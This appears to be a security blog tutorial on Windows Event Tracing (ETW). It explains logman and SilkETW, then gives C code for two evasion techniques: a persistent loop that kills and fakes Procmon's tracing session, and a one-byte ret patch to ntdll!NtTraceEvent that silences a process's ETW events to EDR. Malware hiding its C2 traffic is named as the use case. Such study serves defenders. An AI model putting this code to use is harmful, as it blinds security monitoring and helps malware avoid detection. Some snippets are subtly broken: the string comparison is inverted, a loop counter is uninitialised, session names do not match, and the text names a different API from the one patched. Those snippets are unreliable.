ETW
Table of content
Overview
The Event Tracing for Windows
or ETW
is the mechanism used by Windows
to log system events. ETW
are designed through a provider/consumer
concept.
The different process write their events in the providers
and the consumers
can access to these events through the providers
.
Several antivirus
or EDR
solutions such as Microsoft ATP
heavily use these events to monitor the system.
The ETW
events can be raised by the kernel but also by some userland functions. For example, when performing a simple HTTP
request to use the WinHTTP
API
, an event is raised by the WinHttpSendRequest
function on userland, but another event is also raised by the kernel when the connection is bound at the OS
level.
While removing userland events can be quite easy, tackling down kernel events can be more challenging.
Logman
Windows
provides a built-in tool to access to the ETW
tracing sessions: logman
. This tool can be used to create, inspect and modify tracing sessions, inspect the different providers and other interesting things.
Providers
The providers are the first stage of the ETW
workflow. They are used to collect and categorize events generated by the different processes.
List providers
The different providers can be listed using the following lgoman
command:
logman query providers
# Provider GUID
# -------------------------------------------------------------------------------
# _802dot1X {1B243C08-ABC2-C043-37FD-A730D9E8E45C}
# ACPI Driver Trace Provider {DAB01D4D-2D48-477D-B1C3-DAAD0CE6F06B}
# Active Directory Domain Services: SAM {8E598056-8993-11D2-819E-0000F875A064}
# Active Directory: Kerberos Client {BBA3ADD2-C229-4CDB-AE2B-57EB6966B0C4}
# Active Directory: NetLogon {F33959B4-DBEC-11D2-895B-00C04F79AB69}
# ADODB.1 {04C8A86F-3369-12F8-4769-24E484A9E725}
# ADOMD.1 {7EA56435-3F2F-3F63-A829-F0B35B5CAD41}
# Application Popup {47BFA2B7-BD54-4FAC-B70B-29021084CA8F}
# Application-Addon-Event-Provider {A83FA99F-C356-4DED-9FD6-5A5EB8546D68}
# ATA Port Driver Tracing Provider {D08BD885-501E-489A-BAC6-B7D24BFE6BBF}
# AuthFw NetShell Plugin {935F4AE6-845D-41C6-97FA-380DAD429B72}
# ...
As you can see, there are a lot of providers. Each provider is "specialized" in some types of events (such as the Microsoft-Windows-WinHTTP
) but some other can compile several types of events such as the Windows Kernel Trace
that compile event raised by kernel functions such as VirtualAlloc
or CreateProcess
.
Inspect Providers
If you want to retrieve a specific type of event, it could be quite challenging as the providers dumped by logman
do not show the event they are channeling.
However, logman
can be used to inspect the different providers and extract the events they provide.
logman query providers "Microsoft-Windows-WinHTTP"
Provider GUID
-------------------------------------------------------------------------------
Microsoft-Windows-WinHttp {7D44233D-3055-4B9C-BA64-0D47CA40A232}
# Value Keyword Description
# -------------------------------------------------------------------------------
# 0x0000000000000001 Keyword.API API
# 0x0000000000000020 WINHTTP_KEYWORD_AUTOPROXY Flagged on all WinHTTP events dealing with AUTOPROXY
# 0x0000000100000000 Keyword.SEND SEND
# 0x0000000200000000 Keyword.RECEIVE RECEIVE
# 0x0000000400000000 Keyword.L3_CONNECT L3_CONNECT
# 0x0000001000000000 Keyword.CLOSE CLOSE
# 0x0000002000000000 Keyword.SECURITY SECURITY
# 0x0000004000000000 Keyword.CONFIGURATION CONFIGURATION
# 0x0000008000000000 Keyword.GLOBAL GLOBAL
# 0x0000010000000000 Keyword.DROPPED DROPPED
# 0x0000020000000000 Keyword.PII_PRESENT PII_PRESENT
# 0x0000040000000000 Keyword.PACKET PACKET
# 0x0000080000000000 Keyword.ADDRESS ADDRESS
# 0x0000100000000000 Keyword.CONTEXT_EVENT CONTEXT_EVENT
# 0x0000200000000000 Keyword.STATE_TRANSITION STATE_TRANSITION
# 0x0001000000000000 win:ResponseTime Response Time
# 0x0080000000000000 win:EventlogClassic Classic
# 0x8000000000000000 Microsoft-Windows-WinHttp/Diagnostic
# 0x4000000000000000 Microsoft-Windows-WinHTTP-NDF/Diagnostic
# ...
Likewise, this command dumps the different event keys logged by the provider and several other information such as the verbosity level or the different processes that provide events to this provider.
However, it is not possible to retrieve more information about the events as they are usually not documented and it is one of the most important problem with ETW
for defenders.
Tracing sessions
As explained in the ETW
workflow, the providers collect events raised by processes and tracing sessions will retrieve these events from the providers. The tracing sessions can be seen as a collection of events coming from different chosen providers.
For example, if you want to only retrieve event raised by memory allocation and HTTP
connections, you will not be able to find one provider that collects these two types of events. However, you can create a tracing session fed by the Windows Kernel Tracing
and the Microsoft-Windows-WinHTTP
provider that will give you the two types of events you want.
Tracing sessions can be seen as a personal collection of events.
List tracing sessions
Logman
can be used to display the active tracing sessions:
logman query -ets
# Data Collector Set Type Status
# -------------------------------------------------------------------------------
# Circular Kernel Context Logger Trace Running
# Eventlog-Security Trace Running
# DiagLog Trace Running
# Diagtrack-Listener Trace Running
# EventLog-Application Trace Running
# EventLog-System Trace Running
# iclsClient Trace Running
# ...
Inspect tracing sessions
The different tracing sessions are linked to providers. It is possible to inspect the providers queried by each tracing session with the following logman
command:
logman query iclsClient -ets
# Name: iclsClient
# Status: Running
# Root Path: C:\Windows\System32\LogFiles\WMI\Intel\iCLSClient
# Segment: Off
# Schedules: On
# Segment Max Size: 40 MB
#
# Name: iclsClient\iclsClient
# Type: Trace
# Output Location: C:\Windows\System32\LogFiles\WMI\Intel\iCLSClient\iclsClient.etl.013
# Append: Off
# Circular: On
# Overwrite: Off
# Buffer Size: 4
# Buffers Lost: 0
# Buffers Written: 23
# Buffer Flush Timer: 2
# Clock Type: Performance
# File Mode: File
#
# Provider:
# Name: Intel-Autologger-iclsClient
# Provider Guid: {B8D7E9A0-65D5-40BE-AFEA-83593FC0164E}
# Level: 255
# KeywordsAll: 0x0
# KeywordsAny: 0xffffffffffffffff
# Properties: 64
# Filter Type: 0
Use tracing sessions
The following command can be used to start a tracing session
logman create trace ${tracingSessionName} -ets
Once the session is created, some providers must be added using the following command :
logman update ${tracingSessionName} -p ${providerName} ${eventValue} -ets
Likewise, a provider can be removed using the following command:
logman update trace ${tracingSessionName} --p ${providerName} ${eventValue} -ets
The tracing session can be stopped using :
logman stop spotless-tracing -ets
The tracing session creates an etl
file that can be viewed with Event Viewer
.
SilkETW
SilkETW is a tool allowing simple access to ETW
events. Indeed, even if logman
is quite interesting to inspect providers and tracing sessions, it is not really flexible and easy to use. Moreover, logman can be resource consuming as it logs events system wide.
SilkETW
can be used to access to a specific provider and retrieve events either from userland or kerneland providers.
The tool will connect to a specific provider and dump the event in a file JSON
formatted that can be easily displayed using a simple text editor.
For example, the following JSON
represents an event raised by the kernel during a VirtualAlloc
execution:
{
"ProviderGuid": "9e814aad-3204-11d2-9a82-006008a86939",
"YaraMatch": [],
"ProviderName": "MSNT_SystemTrace",
"EventName": "PageFault/VirtualAlloc",
"Opcode": 98,
"OpcodeName": "VirtualAlloc",
"TimeStamp": "2022-09-08T14:30:15.9588384+02:00",
"ThreadID": 37036,
"ProcessID": 35088,
"ProcessName": "HTTP",
"PointerSize": 8,
"EventDataLength": 24,
"XmlEventData": {
"ProviderName": "MSNT_SystemTrace",
"ProcessId": "35,088",
"EventName": "PageFault/VirtualAlloc",
"PID": "35088",
"Flags": "12,288",
"TID": "37036",
"BaseAddress": "0x1094a030000",
"RegionSize": "0x1000",
"MSec": "10155.6890",
"PName": "HTTP"
}
}
The Github
documentation is well written and contains all the information needed to use the tool.
Procmon
Procmon
is a tool from the SysInternal Suite
that allows monitoring events system wide. In order to catch events, Procmon
leverage the following techniques:
- System minifilters
- Registry minifilters
- Process and thread callback
- ETW for network events
Blinding Procmon
For some events such as the TCP
connections, Procmon
use the ETW
events. Indeed, when using logman
with Procmon
launched, the Procmon
Event Tracing Session
can be found:
logman query -ets | Select-String PROCMON
# PROCMON TRACE Trace Running
The goal is to be able to remove TCP
and UDP
entries from a Procmon
tracing session.
The Pocmon
tracing session can be easily stopped using logman :
logman stop "PROCMON TRACE" -ets
Once the session is stopped, Procmon
is not able to log network events anymore as it only uses ETW
to collect these events.
Automating the process
Using logman
to blind Procmon
is a nice proof of concept, however, a simple restart of Procmon
fixes the problem as the session is restarted by the software.
The idea now is to be able to permanently blind Procmon
. A use case is a malware performing network connection with a remote C2
. Blinding Procmon
will make the malware reversing less obvious. Indeed, there are several other tools that can be used to detect network connections performed, but it is a first step and as said before, a simnple proof of concept on ETW
vulnerabilties.
When Procmon
is launched, it will automatically create a tracing session named PROCMON TRACE
. this session is automatically killed when Procmon
is closed. Thus, the idea is to list the different tracing session, and when a Procmon
tracing session is found, the program will kill it and recreate a new one not linked to any provider.
As the new tracing session will not be linked to any provider, it will not forward any events to Procmon
.
The Win32 API
contains several functions to play with ETW
tracing sessions:
StartTrace
: start a new tracing sessionStopTrace
andControlTrace
: stop a given tracing sessionQueryTrace
: retrieve the settings, properties and statistics of a tracing sessionQueryAllTrace
: retrieve the settings, properties and statistics of all active tracing sessionPEVENT_TRACE_PROPERTIES
: object used to store trace properties and statistics
Detect Procmon tracing session
First of all, an array of PEVENT_TRACE_PROPERTIES
objects must be initialized:
// By default, Windows does not support more than 64 parallele tracing sessions
#define MAXIMUM_LOGGERS 64
#define MAXSTR 1024
// Array containing all tracing sessions
PEVENT_TRACE_PROPERTIES tracingSessions[MAXIMUM_LOGGERS];
// Object representing a single tracing session
ULONG SizeForOneProperty = sizeof(EVENT_TRACE_PROPERTIES) + 2 * MAXSTR * sizeof(TCHAR);
ULONG SizeNeeded = MAXIMUM_LOGGERS * SizeForOneProperty;
PEVENT_TRACE_PROPERTIES singleTracingSession = (PEVENT_TRACE_PROPERTIES)malloc(SizeNeeded);
// Initializing tracingSessions internal structures
for (size_t LoggerCounter = 0; LoggerCounter < MAXIMUM_LOGGERS; LoggerCounter++) {
singleTracingSession->Wnode.BufferSize = SizeForOneProperty;
singleTracingSession->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
singleTracingSession->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + MAXSTR * sizeof(TCHAR);
// Set the value in the global tracing session array
tracingSessions[LoggerCounter] = singleTracingSession;
// Jump to the next tracing session to initialize
singleTracingSession = (PEVENT_TRACE_PROPERTIES)((PUCHAR)singleTracingSession + singleTracingSession->Wnode.BufferSize);
}
Now the array tracingSessions
is initialized, it can be populated using the Win32 API
:
// Fill the tracingSessions array with all active sessions information
ULONG numberOfTracingSessions;
Status = QueryAllTraces(
tracingSessions,
MAXIMUM_LOGGERS,
&numberOfTracingSessions
);
From now, the tracingSessions
object contains at least the name of all active tracing sessions accessible to the process.
Indeed, some tracing sessions can only be accessed by a high integrity process.
Let’s find the Procmon
tracing session:
// variable containing the tracing session name
LPTSTR sessionName;
for(size_t tracingCount; tracingCount < numberOfTracingSessions; tracingCount ++){
// Check if the tracing property contains the tracing session name
// and store it in sessionName if it exists.
if ((tracingSessions[tracingCount]->LoggerNameOffset > 0) && (tracingSessions[tracingCount]->LoggerNameOffset < tracingSessions[tracingCount]->Wnode.BufferSize)) {
sessionName = (LPTSTR)((PUCHAR)tracingSessions[tracingCount] + tracingSessions[tracingCount]->LoggerNameOffset);
}
else {
sessionName = NULL;
}
// Check if it is the Procmon tracing session
if(_tcscmp(sessionName, L"PROCMON_TRACE")){
// start the attack
PEVENT_TRACE_PROPERTIES procmonTracingSession = tracingSessions[tracingCount];
...
break;
}
}
Now the Procmon
tracing session is found, let’s run the attack !
Kill Procmon tracing session
The first thing to do is to kill the Procmon
tracing session:
ULONG status = StopTraceW((TRACEHANDLE)NULL, L"PROCMON TRACE", procmonTracingSession);
And that's it... The StopTraceW
Win32 API
will do all the work and kill the tracing session. Just check the returned status to verify nothing goes wrong.
At this moment Procmon
should not be able to monitor network events anymore.
Let’s create a fake tracing session mimicking the Procmon
legit tracing session.
Create a new tracing session
First of all, a PEVENT_TRACE_PROPERTIES
object must be initialized as shown in the first part:
// Size allocated in the property object
ULONG SizeNeeded = sizeof(EVENT_TRACE_PROPERTIES) + 2 * MAXSTR * sizeof(TCHAR);
// Object handling the tracing session properties
PEVENT_TRACE_PROPERTIES newTracingSession = (PEVENT_TRACE_PROPERTIES)malloc(SizeNeeded);
RtlZeroMemory(newTracingSession, SizeNeeded);
newTracingSession->Wnode.BufferSize = SizeNeeded;
// Set the same expected `GUID`
GUID procMonGuid = { 0x75955553, 0x2055, 0x11ED, { 0xA6, 0x4B, 0x78, 0x2B, 0x46, 0x20, 0x15, 0xF6 } }
newTracingSession->Wnode.Guid = procMonGuid;
// This information can be extracted using logman on the legit Procmon tracing session
newTracingSession->Wnode.ClientContext = 1;
newTracingSession->Wnode.Flags = EVENT_TRACE_FLAG_IMAGE_LOAD;
newTracingSession->LogFileMode = EVENT_TRACE_FILE_MODE_SEQUENTIAL;
newTracingSession->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
newTracingSession->LogFileNameOffset = newTracingSession->LoggerNameOffset + MAXSTR * sizeof(TCHAR);
newTracingSession->MaximumBuffers = 54;
tracingSessionName = (LPTSTR)((PCHAR)newTracingSession + newTracingSession->LoggerNameOffset);
logFileName = (LPTSTR)((PCHAR)newTracingSession + newTracingSession->LogFileNameOffset);
// Set the tracing session name and the log storing path
_tcscpy_s(logFileName, MAXSTR, _T("C:\\LogFile.Etl"));
_tcscpy_s(tracingSessionName, MAXSTR, L"PROCMON_TRACE");
The tracing session object is initialized. Let’s register this new tracing session using the Win32 API
:
TRACEHANDLE tracingSessionHandle = 0;
ULONG status = StartTraceW(&tracingSessionHandle, tracingSessionName, newTracingSession);
And that's it. The StartTraceW
Win32 API
will handle everything and start the tracing session.
Make it persistent
If you try the previous code, it will do the same thing that what have been done using logman
thus, any Procmon
restart will erase the modification and re-allows it to monitor network events.
In order to make the change persistent, it is possible to loop the whole attack:
// pseudo code
while(1){
// Check if any procmon tracing session exist
if(!isActiveProcmonTracingSession){
sleep(2000);
continue;
}
// Retrieve the procmon tracing session
procmonTracingSession = getProcmonTracingSession();
// Stop it
stopProcmonTracingSession(procmonTracingSession);
// Create a fake one
createNewProcmonTracingSession(procmonTracingSession);
// Wait until the fake one is deleted by procmon
waitUntilProcmonSessionExists();
}
Limits
This attack is interesting to understand how ETW
can be used by software (such as EDR
) to monitor processes execution through ETW
and how malwares can try to evade ETW
monitoring by tampering tracing sessions established.
The problem with ETW
is that tracing sessions are global among the system and the modification performed by a given userland process could impact the whole detection mechanism system wide. However, several protection can be set up to avoid tracing session tampering by unprivileged process.
Indeed, some tracing session and providers can only be registered or updated by Protected Process Light
or PPL
processes. A good example is Defender ATP
tracing sessions and providers. Even a high integrity
process is not able to tamper the Defender
tracing session.
Of course, PPL
limitation is not fully secured as driver code or exploit could allow a malicious process to bypass the security but it is a start.
Patching ETW
The previous technique, focusing Procmon
tracing session, leverages the fact that tracing sessions can be tampered by any process with the necessary privileges to access to the tracing session.
The following technique will not tamper the tracing sessions but the way a process reports events to the providers.
Indeed, the events are raised by the different processes and written in the providers. If the process is unable to write a new event in the providers, the security applications such as EDR
cannot retrieve and analyze these events.
Writing event to a provider
The idea is to patch the Win32 API
used to write event on the provider.
It is maybe possible to retrieve the Win32 API
through documentation, but as everyone knows, 3 hours of debugging can avoid 15 minutes reading documentation. Thus let’s drop Microsoft
documentation and fire up the debugger.
Finding the API
In order to find the API
responsible for event writing, let’s use a simple code that generates an easy-to-catch event.
Using logman
the following provider is found:
Microsoft-Windows-WinHttp {7D44233D-3055-4B9C-BA64-0D47CA40A232}
This provider is interesting as it is only used when WinHTTP
API
is used.
Then, a simple code sending an HTTP
request using the WinHTTP API
:
#include <windows.h>
#include <winhttp.h>
#include <stdio.h>
#pragma comment(lib, "winhttp.lib")
int main(void) {
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer;
BOOL bResults = FALSE;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
hConnect = WinHttpConnect(hSession, L"www.microsoft.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
// Create an HTTP request handle.
if (hConnect)
hRequest = WinHttpOpenRequest(hConnect, L"GET", NULL,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
// Send a request.
if (hRequest)
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0,
0, 0);
// End the request.
if (bResults)
bResults = WinHttpReceiveResponse(hRequest, NULL);
// Keep checking for data until there is nothing left.
if (bResults)
{
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
printf("Error %u in WinHttpQueryDataAvailable.\n",
GetLastError());
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
printf("Out of memory\n");
dwSize = 0;
}
else
{
// Read the data.
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
printf("Error %u in WinHttpReadData.\n", GetLastError());
else
printf("%s", pszOutBuffer);
// Free the memory allocated to the buffer.
delete[] pszOutBuffer;
}
} while (dwSize > 0);
}
// Report any errors.
if (!bResults)
printf("Error %d has occurred.\n", GetLastError());
// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
return 0;
}
Finally, SilkETW
is used to monitor the provider:
.\SilkETW.exe -t user -pn Microsoft-Windows-WinHttp -ot file -p ./event.txt
The logfile written by SilkETW
is JSON
formatted and contains the Process ID
it is thus easy to verify the event logged has been raised by our process or by another application running on the system.
Once SilkETW
is launched and the test program compiled, let’s run it to verify if an event is raised. You should see between 2 and 4 events raised. The test program will raise these events each time it is run.
Let’s go step by step. First, try to identify which function raises an event. Set some system("PAUSE")
before each function and wait for an event to be raised.
For example, the function WinHttpSendRequest
will raise a single event. Let’s use this function for the next investigations.
Once the function is found, we will use a debugger to follow the call stack until an event is raised. The idea is to run the debugger until a call
raise an event.
Inside the WINHTTP!WinHttpSendRequest
function, the following line raises the event:
Thus, the program is restarted, a breakpoint is set in the function WINHTTP!WinHttpSendRequest
and the code is debugged until a new event is raised.
After iterating this process several times, the following call stack is found:
WINHTTP.dll
==========================================================
HTTP_USER_REQUEST::SendRequest
HTTP_USER_REQUEST::_SendRequestWithDrainComplete
HTTP_USER_REQUEST::_CallGetProxyForUrl
WxGetProxyContext::StartProxyResolve
WxProxyManager::OnProcessGetProxyForUrl
WinHttpClientCompletion::StartProxyResolve
WinHttpClientResolver::GetProxyForUrlImpl
WinHttpClientCompletion::OnProxyResolved
WinHttpClientCompletion::StateStart
McTemplateU0q_EventWriteTransfer
McGenEventWrite_EventWriteTransfer
NTDLL.dll
==========================================================
ntdll!EtwEventWriteTransfer
ntdll!EtwpEventWriteFull
ntdll!NtTraceEvent
SYSCALL
This callstack shows that the function EtwEventWriteFull
is the Win32 API
used to write an event in the provider when using the WinHTTP API
. In fact, this API
is used by every userland process. This is convenient as there is a single API
to write events and it is located in the NTDLL.DLL
.
Thus, this function can be patched to avoid process writing event in the providers.
Patch the DLL
Now we know which function is used to write events in the providers, let’s patch it to avoid any event written by the process.
The patch will be a simple ret
added at the beginning of ntdll!NtTraceEvent
. The following code can be used to apply the patch:
void patchETW() {
// Retrieve the function to patch
PVOID NtTraceEvent = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
DWORD dwOld;
// Simple patch representing the ret instruction
DWORD retPatch = 0xc3;
// Modify page protection to be able to write the patch
// PAGE_EXECUTE_READWRITE is mandatory as the function is often used
VirtualProtect((LPVOID)((DWORD64)NtTraceEvent), 1, PAGE_EXECUTE_READWRITE, &dwOld);
// Write the patch
CopyMemory((LPVOID)((DWORD64)NtTraceEvent), &retPatch, 1);
// Reprotect the page as PAGE_EXECUTE_READ
VirtualProtect((LPVOID)((DWORD64)NtTraceEvent), 1, dwOld, &dwOld);
}
Once the patch is applied, the modification can be analyzed in Windbg
:
Finally, the program is relaunched without debugger and the events are monitored using SilkETW
. If the patch has been successfully implemented, no event should be monitored by SilkETW
.
Limits
Patching the NtTraceEvent
function is a quick way to deactivate ETW
events raised by the process. However, as the NTDLL.dll
is patched, any EDR
performing integrity check will raise an alert. Likewise, in order to patch the API
, the page protection is set as PAGE_EXECUTE_READWRITE
during the patch writing, an EDR
could find the action suspicious and raise an alert.
However, the most important limit is that this attack will only patch event raised in usermode. Indeed, every event raised by kernel functions such as VirtualAlloc
or network primitives cannot be avoided with this technique.
Indeed, if you patch the ETW
with this technique and you launch Procmon
, it will still log the TCP
connections performed as it uses ETW
events raised by the kernel only. In order to fully patch ETW
a driver must be used. Fortunately, ETW
structures are not monitored by KPP
and can be patched without triggering a BSOD
. But this will be a part of another blogpost...